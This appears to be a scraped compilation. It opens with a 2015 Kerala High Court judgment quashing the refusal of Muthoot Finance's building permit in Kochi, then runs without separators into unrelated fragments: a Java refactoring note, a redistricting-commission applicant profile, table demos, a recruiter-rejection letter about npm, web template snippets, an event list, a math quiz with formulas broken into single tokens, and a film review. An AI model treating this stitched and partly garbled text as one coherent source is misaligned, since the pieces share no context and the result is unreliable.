Try out our Premium Member services: Virtual Legal Assistant, Query Alert Service and an ad-free experience. Free for one month and pay only if you like it.
IN THE HIGH COURT OF KERALA AT ERNAKULAM PRESENT: THE HONOURABLE MR. JUSTICE DAMA SESHADRI NAIDU MONDAY, THE 30TH DAY OF MARCH 2015/9TH CHAITHRA, 1937 WP(C).No. 2242 of 2014 (E) ------------------------------------------- PETITIONER: M/S.MUTHOOT FINANCE LTD, MUTHOOT CHAMBERS, 2ND FLOOR, KURIEN TOWERS, OPP.SARITHA THEATRE COMPLEX, BANERJI ROAD, KOCHI-682018, REPRESENTED BY ITS MANAGING DIRECTOR MR.GEORGE ALEXANDER. BY ADVS.SRI.JOSEPH MARKOSE (SR.) SRI.V.ABRAHAM MARKOS SRI.BINU MATHEW SRI.TOM THOMAS (KAKKUZHIYIL) SRI.ABRAHAM JOSEPH MARKOS SRI.ABRAHAM VARGHESE THARAKAN RESPONDENTS: 1. CORPORATION OF COCHIN REPRESENTED BY ITS SECRETARY, ERNAKULAM, KOCHI-682 011. 2. THE CHIEF TOWN PLANNER, TOWN & COUNTRY PLANNING DEPARTMENT, THIRUVANANTHAPURAM-695 033. 3. STATE OF KERALA THROUGH ITS SECRETARY, LOCAL SELF GOVERNMENT DEPARTMENT, SECRETARIAT, THIRUVANANTHAPURAM-695 001. 4. REGIONAL TOWN PLANNER, TOWN & COUNTRY PLANNING DEPARTMENT, ERNAKULAM-682 020. 5. GREATER COCHIN DEVELOPMENT AUTHORITY REP. BY ITS SECRETARY, ERNAKULAM-682 020. R1 BY ADV. SRI.RAAJESH S.SUBRAHMANIAN R5 BY ADV. SRI.S.B.PREMACHANDRA PRABHU R2 TO R4 BY ADDL. ADV. GENERAL SRI.K.A.JALEEL THIS WRIT PETITION (CIVIL) HAVING BEEN FINALLY HEARD ON 30-03-2015, THE COURT ON THE SAME DAY DELIVERED THE FOLLOWING: APPENDIX IN WP(C).No. 2242 of 2014 (E) PETITIONER'S EXHIBITS: EXHIBIT-P1(a): TRUE COPY OF LAND TAX RECEIPT NO.18328 DATED 21.06.2012. EXHIBIT-P1(b): TRUE COPY OF LAND TAX RECEIPT NO.18300 DATED 21.06.2012. EXHIBIT-P1(c): TRUE COPY OF LAND TAX RECEIPT NO.18335 DATED 21.06.2012. EXHIBIT-P1(d): TRUE COPY OF LAND TAX RECEIPT NO.22295 DATED 16.6.2012. EXHIBIT-P2: TRUE COPY OF THE ENVIRONMENTAL CLEARANCE ISSUED BY THE MINISTER OF ENVIRONMENT & FOREST, GOVERNMENT OF INDIA, NEW DELHI BY LETTER DATED 03.11.2010. EXHIBIT-P3: TRUE COPY OF THE COMPOSITE CONSENT UNDER VARIOUS POLLUTION ACTS ISSUED BY THE KERALA STATE POLLUTION CONTROL BOARD BY ORDER DATED 22.03.2011, WHICH IS VALID TILL 20.03.2014. EXHIBIT-P4: TRUE COPY OF THE NO OBJECTION CERTIFICATE DATED 20.02.2012 ISSUED BY AIRPORTS AUTHORITY OF INDIA. EXHIBIT-P5: TRUE COPY OF THE NOC FOR CONSTRUCTION DATED 29.07.2011 ISSUED BY SOUTHERN NAVAL COMMAND. EXHIBIT-P6: TRUE COPY OF THE COMMUNICATION DATED 28.04.2012 ISSUED BY THE GREATER COCHIN DEVELOPMENT AUTHORITY (GCDA) CONFIRMING THAT THE LAND IS PROPOSED FOR MIXED USE (RESIDENTIAL AND COMMERCIAL) AS PER VARIED STRUCTURE PLAN. EXHIBIT-P7: TRUE COPY OF THE NO OBJECTION CERTIFICATE DATED 30.05.2013 ISSUED BY FIRE & RESCUE SERVICES DEPARTMENT. EXHIBIT-P8: TRUE COPY OF THE COMMUNICATION DATED 21.04.2012 ISSUED BY CORPORATION OF COCHIN. EXHIBIT-P9: TRUE COPY OF THE COMMUNICATION DATED 20.12.2013 ISSUED BY THE 1ST RESPONDENT REJECTING THE APPLICATION FOR BUILDING PERMIT SUBMITTED BY THE PETITIONER. EXHIBIT-P10: TRUE COPY OF THE 2ND RESPONDENT'S COMMUNICATION TO THE 1ST RESPONDENT DATED 7.10.2013. EXHIBIT-P11: TRUE COPY OF THE PERMISSION FOR CONSTRUCTION OF CULVERT BY ORDER DATED 1.9.2011 ISSUED BY THE 1ST RESPONDENT.  EXHIBIT-P13:TRUE COPY OF THE PLAN OBTAINED FROM THE TOWN PLANNING DEPARTMENT OF THE 1ST RESPONDENT. EXHIBIT-P14: PHOTOS SHOWING EXISTING AND PRESENT DEVELOPMENTS AND UNDER GOING ACTIVITIES NEAR BY THE PETITIONER'S PROPERTY. EXHIBIT-P15: TRUE COPY OF THE LETTER DATED 10.01.2014 ISSUED IN REPLY TO RTI APPLICATION RESPONDENT'S EXHIBITS: NIL. /TRUE COPY/ P.S. TO JUDGE Dama Seshadri Naidu, J. ------------------------------------------- W.P.(C)No.2242 of 2014 E -------------------------------------------- Dated this the 30th day of March, 2015 JUDGMENT
The Petitioner, having proposed to construct its Corporate Office comprising Basements, Ground plus twelve floors and Terrace having a total area of 22535 sq.mt., submitted an application for building permit to the respondent Corporation. The land on which it wanted to construct is an extent of 3.20 acres in Survey Nos. 139/1,139/3, 140, 140/3, 140/1, 143/2 and 143/3 of Elamkulam Village and Survey Nos.227 and 228/1 of Poonithura Village, both in Kanayannur Taluk. Locationally, the property lies on the side of the Jawaharlal Nehru Stadium Link Road, which is a 22 meter wide public road.
2. Simultaneously, while applying for the building permit, the petitioner is said to have obtained the following necessary statutory clearances and certificates: (1) Exhibit WPC 2242/14 2 P2 Environmental Clearance by the Ministry of Environment & Forests, Government of India, New Delhi; (2) Exhibit P3 Composite Consent under various Pollution Acts issued by Kerala State Pollution Control Board; (3) Exhibit P4 No Objection Certificate issued by Airports Authority of India; (4) Exhibit P5 No Objection Certificate issued by Southern Naval Command; (5) Exhibit P6 Confirmation issued by the fifth respondent Greater Cochin Development Authority (GCDA) that the land comes under the category of mixed use (residential and commercial) as per Varied Structure Plan, and (6) Exhibit P7 No Objection Certificate issued by Fire & Rescue Services Department.
3. As a matter of past developments, the petitioner pleads that prior to 2008, since there was no necessity to obtain permission from the second respondent for construction of multi-storied buildings for residential purposes, the first respondent, being the sole competent WPC 2242/14 3 authority, granted building permits to the petitioner's neighbouring plot owners to raise multi-storied complexes. The developers who took advantage of the statutory position include Kent Constructions, Indian Medical Association (IMA), Skyline Builders, Olive Builders, Desai Homes, etc. The structures raised by these companies or associations are said to have been located on either side of the Jawaharlal Nehru Stadium Link Road.
4. On receipt of the petitioner's application, in terms of the statutory scheme, initially the first respondent forwarded it to the fourth respondent, who in turn forwarded the same to the second respondent. The first respondent has, however, informed the fourth respondent through Exhibit P8 that it has no proposal involving the petitioner's plot and that as per Clause 4.13 of the Structural Plan of Kochi City, construction for mixed use is also permitted in the said plot. WPC 2242/14 4
5. In course of time, through Exhibit P9, the first respondent rejected the petitioner's application for building permit on the ground that the second respondent, through Exhibit P10, has directed it not to grant permission. Assailing Exhibits P9 and P10 proceedings issued by the first and second respondents, the petitioner has filed the present writ petition.
6. In the above factual back drop, Mr.Joseph Markos, the learned Senior Counsel appearing for the petitioner company, has strenuously contended that after the Kochi International Stadium was built, there is no other proposal for acquisition of land pending, requiring any ground or open space. According to him, adjacent to the petitioner's property already many multi-storied constructions came up, duly sanctioned by the respondent Corporation. WPC 2242/14 5
7. Placing reliance on Raju S. Jethmalani v. State of Kerala1 and Nasar v. Malappuram Municipality2, the learned Senior Counsel has, in the alternative, contended that though the land belonging to a private person can be included in a development plan, unless the property is acquired by the State Government or the Local Authority to effectuate the said purpose, the land owner cannot be denied the right to use the property for any other purpose.
8. Drawing my attention to Exhibit P13 plans of Cochin Corporation, the learned Senior Counsel would contend that the properties on either side of the Stadium Link Road, including that of the petitioner, are shown under mixed use.
9. It is also the contention of the learned Senior Counsel that the plots adjacent to the petitioner's are similar and that the canal splits those plots as well in two; 1 (2005) 11 SCC 222 2 2009 (3) KLT92 WPC 2242/14 6 nevertheless, the authorities concerned have treated them as lying contiguous and permitted the owners thereof to cover the canal with a culvert. According to him, the respondent Corporation has thus extended the benefit of road access to the property owners from the 22 metre width road.
10. The learned Senior Counsel has emphasised that without that permission and the use of the culvert covering, none of the neighbouring properties would have had road access. In petitioner's case, the respondent Corporation, contends the learned Senior Counsel, has already permitted it through Exhibit P11 proceedings to construct a culvert, which the petitioner did. In sum and substance, the contention of the learned Senior Counsel is that denial of permission to the petitioner is a clear case of invidious discrimination falling foul of Article 14 of the Constitution. WPC 2242/14 7 Eventually, the learned Senior Counsel has urged this Court to allow the writ petition.
11. Per contra, the learned Special Government Pleader has strenuously opposed the claims and contentions of the petitioner. He has submitted that the survey numbers in which the petitioner's land is situated is earmarked as Ground and Public Open Space Zone as per the Structure Plan. According to him, under Clause 4.13 special provision of the Structure Plan for Central City, mixed use is permitted on either side of the roads having existing or proposed width of 12 metres or more to a depth of 75 metres from the boundary. The maximum permissible FAR and coverage for building under residential and commercial occupancies shall be 2.5 and 50% in mixed use. The learned Special Government Pleader contends that the petitioner's plot does not fit into the above scheme.
WPC 2242/14 8
12. The learned Special Government Pleader has also contended that a part of the petitioner's plot is lying in the Poonithura Village abutting 20 metre wide road, but the rest of the extent is in Elamkulam Village with a 9 metre road abutting. The property, situated in two villages having been cleaved by the Karanakkodam canal with a Corporation owned culvert constructed across it, cannot be called a contiguous one. Major portion of the petitioner's land lies in Elamkulam Village. 75 metres depth from the 20 metre road boundary includes the petitioner's plot in Poonithura Village, the canal and a portion of the petitioner's plot in Elamkulam Village. As such, the construction activity beyond 75 metre line in the petitioner's plot, contends the learned Special Government Pleader, is not permitted as it is zoned for Ground and Public open space. In other words, the petitioner's plot does not have the necessary FAR and coverage.
WPC 2242/14 9
13. It is the generic contention of the learned Special Government Pleader that the recreational open spaces in Kochi city are grossly inadequate and that they cry for the need of not trifling with the existing open spaces. According to him, the ownership of the culvert (constructed across the canal) is vested with the Corporation. Hence, the plot cannot be considered as a contiguous one. Defending Exhibit P10 proceedings, the learned Special Government Pleader would contend that only abiding by the existing regulations has the second respondent issued the said proceedings.
14. The learned Special Government Pleader has also contended that there is every need for a planned development as has been held in Friends Colony Development Committee v State of Orissa3. He has also made efforts to distinguish the ratio of Nazzar (supra) by contending that it does not involve zoning and planning 3 (2004) 8 SCC 733 WPC 2242/14 10 without the necessity of acquisition of land. Summing up his submissions, the learned Special Government Pleader has submitted that the Structure Plan for Central City of Kochi is still in force and that the culvert connecting the two plots of the petitioner is owned by the Corporation, thereby rendering the petitioner's plot unfit for any building permit.
15. The learned Counsel for the first respondent has adopted, in their entirety, the arguments of the second respondent. He has further submitted that the first respondent forwarded the petitioner's application for building permit to the second respondent in terms of Rule 54 of the Kerala Municipality Building Rules. According to him, the respondent Corporation has to go by the directive of the second respondent, which it eventually did.
16. Heard Mr.Joseph Markos, the learned Senior Counsel for the petitioner, the learned Standing Counsel for the first respondent and the learned Special Government WPC 2242/14 11 Pleader for the second respondent, apart from perusing the record.
17. On a compendious consideration of the rival pleadings and submissions, the following issues emerge for discussion:
i. Whether the fact that the survey numbers where the petitioner's property is situated in 'Ground and Public Open Space Zone' as per the Structure Plan comes in the way of the petitioner's putting its property to a mixed use, which is otherwise permitted in the area?
ii. Whether the contiguity of the petitioner's property is affected in view of the bisection of the property by the Karanakkodam canal, which has been covered by a culvert, though?
In re, Issue No.1:
18. Indeed, it is not disputed that the area is densely constructed, al beit, after due sanction from the respondent WPC 2242/14 12 Corporation; nor is it disputed that the area comes under mixed use. But the fact remains that the survey numbers in which the petitioner's property is situated lie in 'Ground and Public Open Space Zone'. The property in question is shown in Kochi City Structure Plan as a place earmarked for public utility. It is axiomatic that in any master plan, various areas may be marked as public utility places or as lung spaces or recreational open spaces. The places thus shown may belong to the Corporation or to any individuals. To sub- serve the public purpose, the properties owned by individuals, having been earmarked for public use, are, in fact, required to be acquired before they could be dedicated for the declared purpose. In the present instance, no acquisition proceedings have been initiated.
19. In Raju S. Jethmalani (supra) the question that fell for consideration was whether without acquiring the land the Government can deprive a person of his use of the WPC 2242/14 13 land. Answering the said question, the Hon'ble Supreme Court has held thus:
"[T]his in our opinion, cannot be done. It would have been possible for the Municipal Corporation and the Government of Maha- rashtra to acquire the land in order to pro- vide civic amenities. But the land in question has not been acquired. We are quite con- scious of the fact that the open park and gar- den are necessary for the residents of the area. But at the same time we cannot lose sight of the fact that a citizen is deprived of his rights without following proper proce- dure of law...We fail to understand how the burden can be placed on the appellants that they should provide suitable area in the present locality for using the same as garden or park. Rather, the burden should have been placed on the Municipal Corporation or the State Government instead of putting it on the appellants that they must provide some space for garden and park."
As far as this Court is concerned, firstly in Hassan v. Corporation of Calicut4 it considered the issue whether rejection of the application submitted by the Appellants therein for permission for construction can be sustained in view of Clause (vii) of Sub-section (1) of Section 393 of the 4 1996 (2) KLT839 WPC 2242/14 14 Kerala Municipality Act. This Court, per P.A.Mohammed, J., has held thus:
"5. It must be recalled that every citizen has the freedom to enjoy his land in a manner he likes of course subject to the prevailing laws in the country, the right to hold land and en- joyment thereof though is not a fundamental right, is a civil right protected by Chapter IV of the Constitution. Article 300A mandates that no person shall be deprived of his prop- erty save by authority of law. When a person is restrained from enjoyment of his land it may amount to deprivation of his property. But such deprivation can be made only by au- thority of law. That means all restrictions for enjoyment of land must be in accordance with the procedure authorised by law. It also envisages strict compliance of such proce- dure in all matters restraining the enjoyment of land."
In fact, the above ratio was quoted with approval in Padmini & Ors v. State of Kerala5 by a learned Division Bench. Further, in Nasar v. Malappuram Municipality6, a learned Single Judge of this Court, following the ratio of Padmini (supra), has observed that in so far as the owner of the land is concerned, the acquisition affects his interest 5 (1999) 2 KLT465 6 (2009) 3 KLT92 WPC 2242/14 15 only from the issuance of notifications and declarations under the Land Acquisition Act; therefore, any attempt to curb the rights of the owners of lands, until the publication of those statutory notifications and declarations, would result in infraction of the right to property under Article 300A of the Constitution. It is further opined that any infraction of that nature would also result in the violation of the equality principle in the matter of enforcement of laws as is enshrined in Article 14 the Constitution. It is, in the end, emphatically held that any demand to create a rider over the title of the owner of the property under the pretext of a Town Planning Scheme which has not become operational by acquisition would, essentially, be oppressive and would not be countenanced in the face of Article 14 of the Constitution. WPC 2242/14 16
20. This Court therefore concludes, insofar as the first issue is concerned, that the objection regarding 'Ground and Public Open Space Zone' cannot be sustained. In re, Issue No.2:
21. To appreciate the second issue in its proper perspective, we may examine Clause 4.13 Other Special Provisions of the Structural Plan of Kochi City, which clearly provides that the regulations specified under Clauses 2.4 to 2.8 shall be applicable with the modifications prescribed thereunder. Sub-clauses (i) and (iv) of Clause 4.13, which are relevant, are as follows:
"(i) All uses permitted in the residential and commercial use zones may also be permitted on either side of roads having existing or proposed width of 12 Meters or more to a depth of 75 Meters from the boundary of the road.
. . .
(iv) The Maximum permissible F.A.R. and Coverage for buildings under residential and commercial occupancies (as defined in building rules in force) shall be 2.50 and 50% WPC 2242/14 17 respectively in the areas prescribed under (i),
(ii) and (iii) above.''
22. Indisputably, the petitioner's property lies along the 22 metre road. The next criterion it has, however, to fulfil is that the property should have width of 12 metres or more, with a depth of 75 metres from the boundary of the road. Only in such an eventuality is the petitioner permitted to have the mixed--residential and commercial--uses under sub-clause (i) with the applicable F.A.R and Coverage as provided under sub-clause (iv) above.
23. Topographically, the petitioner's property falls within two villages, i.e. Elamkulam and Poonithura, divided by a canal, which in turn has a culvert constructed across. The issue is whether the petitioner's property thus located can be called a contiguous plot. Though negative equity has no application, the fact, however, remains that most of the properties in the vicinity are similarly located, cleaved by the canal. All of them have been permitted to build culverts WPC 2242/14 18 across and use the properties as if they were contiguous. It is, indeed, relevant to observe that the respondent Corporation has permitted through Exhibit P11 proceedings even the petitioner to bridge across the canal with a culvert. In Exhibit P11, the conditions stipulated therein inter alia require the petitioner as follows:
"7) As is done by Skyline and Kent, canal should be constructed through the compound of M/s.Muthoot Finance and to avert water logging.
8) As is done by M/s. Kent and IMA, land for road construction on the western side of the canal should be surrendered free of cost and the same should be made available in the prescribed form."
24. In fact, uniformly, the first and second respondents have treated all other properties as contiguous after the construction of culverts across the canal, thereby letting the property owners to fulfil the distance norms in Clause 4.13 of the Other Special Provisions of the Structural Plan of Kochi City. Thus, once the contiguity issue is WPC 2242/14 19 resolved, there is no manner of doubt that the petitioner's property passes the muster under Clause 4.13 extracted above.
25. Before proceeding further, it may be appropriate to refer to the observations of the Hon'ble Supreme Court in Friends Colony Development Committee (supra), relied on by the learned Special Government Pleader. Their Lordships, making a reference to the chapter on "Zoning and Planning" in American Jurisprudence, 2nd, Vol.82, have stressed the importance of planned development of urban spaces by holding thus:
"22. In all developed and developing countries there is emphasis on planned development of cities which is sought to be achieved by zoning, planning and regulating building construction activity. Such planning, though highly complex, is a matter based on scientific research, study and experience leading to rationalisation of laws by way of legislative enactments and rules and regulations framed thereunder. Zoning and planning do result in hardship to individual property owners as their freedom to use their property in the way they like, is subjected to WPC 2242/14 20 regulation and control. The private owners are to some extent prevented from making the most profitable use of their property. But for this reason alone the controlling regulations cannot be termed as arbitrary or unreasonable. The private interest stands subordinated to the public good. It can be stated in a way that power to plan development of city and to regulate the building activity therein flows from the police power of the State. The exercise of such governmental power is justified on account of it being reasonably necessary for the public health, safety, morals or general welfare and ecological considerations; though an unnecessary or unreasonable inter-meddling with the private ownership of the property may not be justified.
23. The municipal laws regulating the building construction activity may provide for regulations as to floor area, the number of floors, the extent of height rise and the nature of use to which a built-up property may be subjected in any particular area. The individuals as property owners have to pay some price for securing peace, good order, dignity, protection and comfort and safety of the community. Not only filth, stench and unhealthy places have to be eliminated, but the layout helps in achieving family values, youth values, seclusion and clean air to make the locality a better place to live. Building regulations also help in reduction or elimination of fire hazards, the avoidance of traffic dangers and the lessening of prevention of traffic congestion in the streets WPC 2242/14 21 and roads. Zoning and building regulations are also legitimised from the point of view of the control of community development, the prevention of overcrowding of land, the furnishing of recreational facilities like parks and playgrounds and the availability of adequate water, sewerage and other governmental or utility services."
26. Eventually, the Hon'ble Supreme Court has observed that the zoning regulations, etc., do achieve the larger purpose of the public health, safety or general welfare. Any violation of zoning and regulation laws takes the toll in terms of public welfare and convenience being sacrificed apart from the risk, inconvenience and hardship which is caused to the occupants of the building. Indeed, there cannot be any quarrel with the above propositional peroration.
27. The issue here, shorn of extraneous intricacies, concerns itself with the distance norms to be observed. With the culvert across the canal the property is required to be treated as contiguous; once it is contiguous, the petitioner's WPC 2242/14 22 plot becomes fully compliant with the distance norms. Culvert has already been in place as has been permitted through Exhibit P11 by the first respondent Corporation. In the context of contempranea expositio, usage or practice developed under a statute is indicative of the meaning ascribed to the words by contemporary opinion. All along, the respondent authorities, wherever they have permitted the use of culvert, have treated the property on either side of the canal as contiguous. I do not see any egregious reason for a differential treatment to be meted out to the petitioner.
28. In the facts, and circumstances, I am of the considered opinion that Exhibits P9 and P10 issued by first and second respondents respectively cannot be sustained and are accordingly set aside. Consequently, first and second respondents are directed to re-consider the petitioner's application for building permit afresh, keeping WPC 2242/14 23 in view the observations of this Court above, and pass appropriate orders thereon as expeditiously as possible, at any rate, within a month's time from the date of receipt of a copy of the judgment.
With the above direction, the writ petition stands disposed of. No order as to costs.
Dama Seshadri Naidu, Judge tkv


Note that if an anonymous class is converted into an unbound method reference, the same method reference object
can be reused by Java runtime during subsequent invocations, while anonymous class creates separate objects every time.
Thus, applying the quick-fix can cause the semantics change in rare cases, e.g. when anonymous class
instances are used as HashMap
keys.
Method references syntax is not supported under Java 1.7 or earlier JVMs.


Dora G Lodwick
Democrat
Retired sociology professor.
PhD sociology with specialties in demography, rural sociology; policy & evaluation. MA in sociology, research methods, social organization and almost completed counseling degree; BA in sociology and psychology.
80121
Democratic national committees; local democratic candidates; some candidates from other states. Small amounts.
Wellshire Presbyterian Church - many years on their international mission committee; Denver Presbytery - on their Council and Mission Committee; Democratic precinct 180 organizer (pcp), Centennial; Projeto Assistencial Construir (nonprofit working with school dropouts, Brazil)- Chair education committee and Board member (Advisor to President).
My work with the Presbytery of Denver and with Wellshire Presbyterian Church reflect this. I have worked closely in both areas to help the members develop a more global vision. There was very little active work in this area before I started working on it. I have also participated strongly in developing racial and ethnic visions at the Presbytery level helping to organize racial and ethnic groups. This is in addition to my work for statewide groups and foundations. Most of the time it takes the form of evaluation research, facilitation and training.
When we voted on Y &Z, I was excited that Colorado chose to develop a neutral Commission to design the new maps. So I was thrilled to receive an invitation to apply for this Commission. I believe I have useful talents for the Commission. In my work as President of the REFT Institute, a social research organization, I have traveled all over Colorado to gather input on various issues as a professional researcher. Also I am a professional facilitator, trainer and article reviewer and writer..
As a professor, my job has been to help students explore various different perspectives on issues. As a social researcher, I have to provide a neutral perspective and report only what the data say. I have facilitated discussion groups encouraging people with different perspectives to speak up and participate in developing a resolution. I have used this at the state level, in the classroom, and also at the national level where I headed up the Advisory Committee on Social Witness Policy which developed social policies for the national Presbyterian church. Part of my work was to convince commissioners with very different perspectives to support the policies the committee developed in consultation with people around the nation.
I have taught research methods for over 20 years. That is based on the use of logic and reason to interpret data. That is also the foundation of a social research company that I led for 15 years. Currently I have served as a volunteer critiquing various aspects of the Arapahoe County's Democratic Party and candidates' materials in an effort to help improve the quality of the material.
Female


Study Program List
Code
Department
Department ID
Educational Level
Educational Level ID
Name Program Study
Status
Cancel


evo-to-wc demo
Table Style 2A
| Columns | Row Header A | Row Header B | Row Header C |
| Column 1 | Cell A1 | Cell B1 | Cell C1 |
| Column 2 | Cell A2 | Cell B2 | Cell C2 |
| Column 3 | Cell A3 | Cell B3 | Cell C3 |
Table Style 1B
| Column 1 | Cell A1 | Cell B1 | Cell C1 |
| Column 2 | Cell A2 | Cell B2 | Cell C2 |
| Column 3 | Cell A3 | Cell B3 | Cell C3 |
| Column 4 | Cell A4 | Cell B4 | Cell C4 |
Table Style 2B
| Row Header A | Row Header B | Row Header C | Row Header D |
| Cell A1 | Cell B1 | Cell C1 | Cell D1 |
| Cell A2 | Cell B2 | Cell C2 | Cell D2 |
| Cell A3 | Cell B3 | Cell C3 | Cell D3 |
Table Style 1C
| Cell A1 | Cell B1 | Cell C1 | Cell D1 |
| Cell A2 | Cell B2 | Cell C2 | Cell D2 |
| Cell A3 | Cell B3 | Cell C3 | Cell D3 |
| Cell A4 | Cell B4 | Cell C4 | Cell D4 |
Table Style 2C
| Row Header A | Row Header B | Row Header C | Row Header D |
| Cell A1 | Cell B1 | Cell C1 | Cell D1 |
| Cell A2 | Cell B2 | Cell C2 | Cell D2 |
| Cell A3 | Cell B3 | Cell C3 | Cell D3 |
| Footer A | Footer B | Footer c | Footer D |
Graph Example
|
|
Television
|
Newspapers
|
Radio
|
Magazines
|
Internet
|
Mobile
|
| Time Spent Yesterday (in Minutes)
|
319.2
|
26.4
|
91.2
|
15.6
|
156.6
|
19.2
|
Table Style 3A
OLI Corporation Balance Sheet Year Ending December 31, 2012
| Current Assets
|
|
Current Liabilities
|
| Cash
|
$85,260
|
Accounts Payable
|
$3,500
|
| Accounts receivable
|
10,600
|
Salary Payable
|
200
|
| Inventory
|
3,220
|
Total Current Liabilities
|
$3,700
|
| Supplies
|
150
|
|
|
| Prepaid Office Equipment
|
150
|
Long-Term Liabilities
|
| Prepaid Rent
|
1,500
|
Notes Payable
|
$48,000
|
| Security Deposit
|
1,500
|
Interest Payable
|
400
|
| Prepaid Insurance
|
400
|
Mortgage Payable
|
480,000
|
| Total Current Assets
|
$102,780
|
Interest Payable-Mortgage
|
2,000
|
|
|
|
Total Long-Term Liabilities
|
$530,400
|
| Property, Plant & Equipment
|
Total Liabilities
|
$534,100
|
| Building
|
500,000
|
|
|
|
| Accumulated Depreciation-Building
|
(1,500)
|
498,500
|
Shareholder's/Owner's Equity
|
| Equipment
|
9,000
|
|
Common Stock
|
6,000
|
| Accumulated Depreciation-Equipment
|
(250)
|
8,750
|
APIC-Common
|
60,000
|
| Total PP&E
|
|
$507,250
|
Retained Earnings
|
9,930
|
|
|
|
Total Equity
|
$75,930
|
| Total Assets
|
|
$610,030
|
Total Liabilities & Equity
|
$610,030
|
OLI Corporation
Balance Sheet
Year Ending December 31, 2012
| Current Assets
|
|
Current Liabilities
|
| Cash
|
$85,260
|
Accounts Payable
|
$3,500
|
| Accounts receivable
|
10,600
|
Salary Payable
|
200
|
| Inventory
|
3,220
|
Total Current Liabilities
|
$3,700
|
| Supplies
|
150
|
|
|
| Prepaid Office Equipment
|
150
|
Long-Term Liabilities
|
| Prepaid Rent
|
1,500
|
Notes Payable
|
$48,000
|
| Security Deposit
|
1,500
|
Interest Payable
|
400
|
| Prepaid Insurance
|
400
|
Mortgage Payable
|
480,000
|
| Total Current Assets
|
$102,780
|
Interest Payable-Mortgage
|
2,000
|
|
|
|
Total Long-Term Liabilities
|
$530,400
|
| Property, Plant & Equipment
|
Total Liabilities
|
$534,100
|
| Building
|
500,000
|
|
|
|
| Accumulated Depreciation-Building
|
(1,500)
|
498,500
|
Shareholder's/Owner's Equity
|
| Equipment
|
9,000
|
|
Common Stock
|
6,000
|
| Accumulated Depreciation-Equipment
|
(250)
|
8,750
|
APIC-Common
|
60,000
|
| Total PP&E
|
|
$507,250
|
Retained Earnings
|
9,930
|
|
|
|
Total Equity
|
$75,930
|
| Total Assets
|
|
$610,030
|
Total Liabilities & Equity
|
$610,030
|


New Recruiter Response
I have a new strategy for recruiters. First, a curt one-liner “not interested”. If they press (usually with an “I’ll ping you in 3 months” or something), then they get the longer explanation.
I just search and replace “XYZCorp” with whatever company they’re calling from, and maybe change a line or two based on their response.
Your optimism is delightful. It pains me to step on it, but I wouldn’t feel right doing otherwise.
In 3 months, I’ll have the same answer. The future is never absolutely certain, but this is as certain as any prediction I can make. It’s a Safe Bet.
I am working on Node.js and npm. This is the technology that has already displaced Python and Ruby as the hot new high-level language platform of choice; within 5 or 10 years it’ll join the likes of .NET, Perl, PHP, Java as the go-to platform for enterprise development (ie, “serious business”) and new college grads. But there is so much more work to be done!
XYZCorp has a lot of very interesting technical challenges, I’m sure. But this is the one that I’m most passionate about, and Joyent is the place that has it. npm started out as my personal side project. Node was a dream of mine that is coming true. I’ve invested a lot of time and a lot of love in this technology and in this community.
Going to work there in 3 months, or in 3 years, would be a huge step down in terms of the effectiveness of my effort and the results that I’ll have on the technology world in general. It would be a bit like someone asking you if you’ll be done with your son or daughter in 3 months, and interested in trying out another kid.
When and if I leave Joyent, it will be to do some other work focused on npm and Node.js, probably as part of my own company. The only way that XYZCorp could ever recruit me is if they recruited me to do that.
If I come across any developers that rival or exceed my skills, I’ll almost certainly try to recruit them myself, or get them to work somewhere else on Node so that they can add to this community. As long as I’m not a XYZCorp employee, and “working at XYZCorp” doesn’t imply “working on Node”, it really does not serve my interests to send talent to XYZCorp. There is no referral bonus that XYZCorp could provide me which would change that.
Altruistically, I want what’s best for the Node community, because I feel connected to it. Selfishly, I want to be one of the names that is remembered as part of a major revolution in software development. If you can show that these two goals are better served at XYZCorp than at Joyent, then let’s talk.


Finding a relaxing place to get work done is no small task. We decided to help share our favorite spots to zone out, grab a bite to eat and hack on whatever projects we find ourselves doing. Check back here for new spots and more info.
If you know of an awesome place to chill and get work done, don't hesitate to add it! Simply go to the Google Sheet and fill in all of the information you can!


{% if field %}
{% with field.widget as widget %}
{% include widget.template_name %}
{% endwith %}
{% comment "Optional note" %}
the script handles showing / hiding the extra-widgets based on
whether or not their input option is selected
script activates on any input change because radio buttons only trigger
`change` when they are selected, not when they are un-selected
TODO: scope this jquery include to the following script tag somehow
TODO: !!! TESTS !!!
{% endcomment %}
{% endif %}


{% extends "base.html" %} {% block title %}Online Demo Results | ChemSchematicResolver{% endblock %} {% macro display_compound(record, index) %}
Extraction successful!
The extracted structures are shown below:
Your image is too large to be handled by our servers.
Please try uploading a smaller image, or install the software and run locally.
ChemSchematicResolver was unable to resolve any structures.
Please try uploading an image with greater resolution.
Job failed
Job ID: {{ job.job_id }}
Task output: {{ task}}
Job output : {{ job.result}}
{% else %}ChemSchematicResolver is running!
Images with multiple diagrams and/or larger molecules will take longer to resolve...


December 3rd, 2019
Sandy, UT
7 pm - 9 pm
Click Here to learn more.
January 17th, 2020
Las Vegas, NV
7 pm - 9 pm
Febuary TBD, 2020
Bay Area, CA
7 pm - 9 pm
November 23rd, 2019
CCA Fall Convention
9:30 - 11:30 am
March 25th, 2020
San Bernardino, CA
7 pm - 9 pm
April 18th, 2020
South Lake Tahoe, CA
8 am - 2 pm


the Solar for you
Note the css tricks for the Saturn rings (box-shadow) and reverse animation to compensate the orbit.


Question 1
Given points (x1,y1) and (x2,y2) select the formula to find equation of a given line
y
=
m
x
+
c
(
x
-
h
)
2
+
(
y
-
k
)
2
=
r
2
y
-
y
1
=
m
(
x
-
x
1
)
y
-
y
2
=
y
2
-
y
1
x
2
-
x
1
(
x
-
x
2
)
Submit & Next Question
Cancel & Clear Selection


 Citizen Kane is not only a powerful film, but a revolutionary one- every single movie made today has at least some of Kane manifested in it. This evocative motion picture changed the way filmmakers made their films. It is, of course, a masterpiece of storytelling- it is nearly essential for film students to watch. Every second has become a classic and it has been lauded as the greatest motion picture ever made. Is that true? Who knows, but it certainly is the most studied and probably alongside The Birth of a Nation as the most technically and structurally important picture of all time.
Orson Welles, then 25, was given full control by RKO Radio Pictures to make any film he so desired. Welles, an exceptionally intelligent man, brought along for this project his Mercury stage actors whom he had worked with in radio and theater, and co-wrote the Oscar-winning screenplay with the seasoned Herman J. Mankiewicz. The resulting film was highly controversial- it was said to poke fun at mogul William Randolph Hearst. The film went through hellfire to get released and when it finally was, was ignored by the public and critics alike. This controversy should make Kane's being snubbed at the Academy Awards much more understandable. Oscar rarely succumbs to the pleasures of films with ingenuity.
